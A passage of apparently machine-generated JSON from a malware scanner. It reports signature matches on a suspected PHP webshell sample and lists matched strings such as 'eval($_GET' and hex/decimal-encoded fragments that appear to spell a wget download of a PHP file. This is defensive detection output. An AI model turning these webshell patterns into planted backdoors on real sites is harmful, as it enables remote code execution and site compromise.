gCB4g; nmQZs: if (!file_exists(real \u003cunicode-escape\u003e" ], "i": "metadata/encoded-payload/unicode-escape", "l": 2 }, { "c": 0.8999999761581421, "d": "Generic PHP webshell which uses any eval/exec function in the same line with user input", "e": [ "eval($_GET" ], "i": "third_party/SigBase/WEBSHELL/PHP/Generic/Eval", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell obfuscated", "e": [ "\\x3", "\u003c?", "\u003c?php", "goto" ], "i": "third_party/SigBase/WEBSHELL/PHP/OBFUSC", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell obfuscated by encoding of mixed hex and dec", "e": [ "\"\\64\\56\\160\\x68\\x70\\x20\\x68\\", "\"\\x32\\x2e\\160\\x68\\", "\"\\x34\\56\\160\\x68\\", "\"\\x34\\x2e\\160\\x68\\", "\u003c?php", "\"\\167\\x67\\x65\\164\\x20\\x2d\\", "\"\\x33\\x2e\\160\\x68\\", "\u003c?", "\"\\64\\56\\x70\\x68\\x70\\40\\150\\x74\\x74\\x70\\x73\\" ], "i": "third_party/SigBase/WEBSHELL/PHP/OBFUSC/Encoded/Mixed/Dec/And/Hex", "l": 5 } ], "sha": "166d8ea396fedf93c52c209553f19f6300c5498d09b22e55e5f6439818554993", "path": "/data/samples/bad/datasets/awesome-malware/PHP/bopwhh.php.suspected", "type": "php" } ], "tv": "a9555" } }